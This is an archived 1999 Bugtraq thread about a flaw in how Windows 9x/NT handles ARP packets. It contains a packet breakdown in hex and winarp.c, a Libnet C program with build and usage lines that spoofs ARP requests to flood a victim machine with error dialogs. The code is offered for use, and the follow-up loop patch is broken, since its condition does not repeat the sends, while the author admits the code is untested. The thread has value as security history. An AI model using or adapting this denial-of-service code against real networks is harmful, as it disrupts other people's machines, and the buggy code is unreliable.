home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / winarp.c < prev    next >
Internet Message Format  |  1999-04-16  |  7KB

  1. Date: Tue, 13 Apr 1999 11:23:29 +0300
  2. From: kay <kay@PHREEDOM.ORG>
  3. To: BUGTRAQ@netspace.org
  4. Subject: Re: ARP problem in Windows9X/NT
  5. Parts/Attachments:
  6.    1 Shown     71 lines  Text
  7.    2   OK    ~3.3 KB     Text, ""
  8. ----------------------------------------
  9.  
  10. Hya,
  11.  
  12. Could you be more specific with those XX-fields ?
  13.  
  14. I started writing that proggie with plain syscalls, but it would only run
  15. on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
  16. the stuff. I haven't tested it yes since I don't have LAN at home...
  17.  
  18. Compile with:
  19.   cc winarp.c -o winarp -lnet
  20. Usage:
  21.   ./winarp [-i device] [-c count] -d destination
  22.  
  23. For those who are still wondering what the hell Libnet is: check out
  24. http://www.infonexus.com/~demon9
  25.  
  26. --
  27. kay@phreedom.org
  28. AD80 0D6A 5286 2729 5D2F  6326 D3F8 C61A 93F4 4C48                   xuniL
  29. DA FA 10 7D  6A 05 45 11  37 E1 E1 2B  B4 34 2E 83                   Zelur
  30.  
  31. On Mon, 12 Apr 1999, Joel Jacobson wrote:
  32.  
  33. > Hello all bugtraqers!
  34. >
  35. > I've found a problem in Windows9X/NT's way of handeling ARP packets.
  36. >
  37. > If you flood a computer at your LAN with the packet below, it's user
  38. > will be forced to click a messagebox's OK button x times, where x is the number
  39. > of packets you flooded with.
  40. >
  41. > I advice Microsoft to develope a patch for this problem, that let you
  42. > choose to ignore all future messages of this type.
  43. >
  44. > There is no way to trace the flooder since the MAC address in the
  45. > packet can be modified to anything. Bad configurated routers will
  46. > not drop this packet. When I tested this problem on my LAN I could
  47. > flood a computer on another C-net at my LAN without problems.
  48. >
  49. > The program NetXRay was used to preform the flood.
  50. > The victims had to reboot their computer, or choose to click _very_
  51. > many OK buttons.
  52. >
  53. > The ARP packet is build up like this:
  54. >
  55. > Ethernet Version II:
  56. >  Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF
  57. >  Ehternet II Protocol Type: ARP
  58. > Address Resolution Protocol:
  59. >  Hardware Type: 1 (Ethernet)
  60. >  Protocol Type: 800
  61. >  Hardware Address: Length: 6
  62. >  Protocol Address: Length: 4
  63. >  Operations: ARP Request
  64. >  Source Hardware Address: XX-XX-XX-XX-XX-XX
  65. >  IP Source Address: <victim computer's IP>
  66. >  Destination Hardware Address: XX-XX-XX-XX-XX-XX
  67. >  IP Destination Address: <victim computer's IP>
  68. >
  69. > And in HEX the packet look like this:
  70. > ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00
  71. > 00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX
  72. > (XX is what matters here)
  73. >
  74. > Hope a patch for this problem will be developed fast, cause this is a
  75. > big problem for my school and probably also to others.
  76. >
  77. > I'm not a C programmer, and don't know how to write an exploit for
  78. > this problem. So, if anyone else can develope an exploit, feel free to do so.
  79. >
  80. > Joel Jacobson.
  81.  
  82.     [ Part 2, ""  Text/PLAIN (Name: "winarp.c")  71 lines. ]
  83.  
  84. /*
  85.  *  Copyright (c) 1998, 1999 route|daemon9 <route@infonexus.com>
  86.  *  All rights reserved.
  87.  * 
  88.  *  Modified to winarps.c 1999 by kay <kay@phreedom.org> 
  89.  *
  90.  * Redistribution and use in source and binary forms, with or without
  91.  * modification, are permitted provided that the following conditions
  92.  * are met:
  93.  * 1. Redistributions of source code must retain the above copyright
  94.  *    notice, this list of conditions and the following disclaimer.
  95.  * 2. Redistributions in binary form must reproduce the above copyright
  96.  *    notice, this list of conditions and the following disclaimer in the
  97.  *    documentation and/or other materials provided with the distribution.
  98.  *
  99.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
  100.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  101.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  102.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  103.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  104.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  105.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  106.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  107.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  108.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  109.  * SUCH DAMAGE.
  110.  *
  111.  */
  112.  
  113. #include <libnet.h>
  114.  
  115. u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  116. u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  117. u_long ip_dst = 0;
  118.  
  119. void send_arp(struct link_int *, u_char *);
  120.  
  121. #if (__linux__)
  122. #define  IPOPT_SECURITY  130
  123. #endif
  124.  
  125. int main(int argc, char *argv[])
  126. {
  127.    int c, count = 1;
  128.    char errbuf[256];
  129.    char *device = NULL;
  130.    char *address = NULL;
  131.    struct link_int *l;
  132.  
  133.    while ((c = getopt(argc, argv, "i:d:c:")) != EOF) {
  134.       switch (c) {
  135.       case 'i':
  136.          device = optarg;
  137.          break;
  138.       case 'd':
  139.          address = optarg;
  140.          ip_dst = name_resolve(address, 0);
  141.          break;
  142.       case 'c':
  143.          count = atoi(optarg);
  144.          break;
  145.       default:
  146.          exit(EXIT_FAILURE);
  147.       }
  148.    }
  149.  
  150.    if (!device) {
  151.       fprintf(stderr, "Specify a device\n");
  152.       exit(EXIT_FAILURE);
  153.    }
  154.    if (!ip_dst) {
  155.       fprintf(stderr, "Specify destination\n");
  156.       exit(EXIT_FAILURE);
  157.    }
  158.    if ((l = open_link_interface(device, errbuf)) == NULL) {
  159.       fprintf(stderr, "open_link_interface: %s\n", errbuf);
  160.       exit(EXIT_FAILURE);
  161.    }
  162.    send_arp(l, device);
  163.    exit(EXIT_SUCCESS);
  164. }
  165.  
  166.  
  167. void send_arp(struct link_int *l, u_char * device)
  168. {
  169.    int n;
  170.    u_char *buf;
  171.  
  172.    buf = (u_char *) malloc(ARP_H + ETH_H);
  173.    if (!buf) {
  174.       perror("no packet memory");
  175.       exit(EXIT_FAILURE);
  176.    }
  177.    memset(buf, 0, ARP_H + ETH_H);
  178.  
  179.    build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
  180.    build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src,
  181.              (void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H);
  182.    n = write_link_layer(l, device, buf, ARP_H + ETH_H);
  183.  
  184.    printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
  185. }
  186.  
  187.  
  188. -----------------------------------------------------------------------------------
  189.  
  190. Date: Tue, 13 Apr 1999 12:13:17 +0300
  191. From: kay <kay@PHREEDOM.ORG>
  192. To: BUGTRAQ@netspace.org
  193. Subject: Re: ARP problem in Windows9X/NT
  194.  
  195. Forgot something:
  196.  
  197. In winarp.c
  198.  
  199.     77        exit(EXIT_FAILURE);
  200.     78     }
  201. +++ 79     for ( ; count <= 0; count--)
  202.     80        send_arp(l, device);
  203.     81     exit(EXIT_SUCCESS);
  204.  
  205. --
  206. kay@phreedom.org
  207. AD80 0D6A 5286 2729 5D2F  6326 D3F8 C61A 93F4 4C48                   xuniL
  208. DA FA 10 7D  6A 05 45 11  37 E1 E1 2B  B4 34 2E 83                   Zelur
  209.  
  210.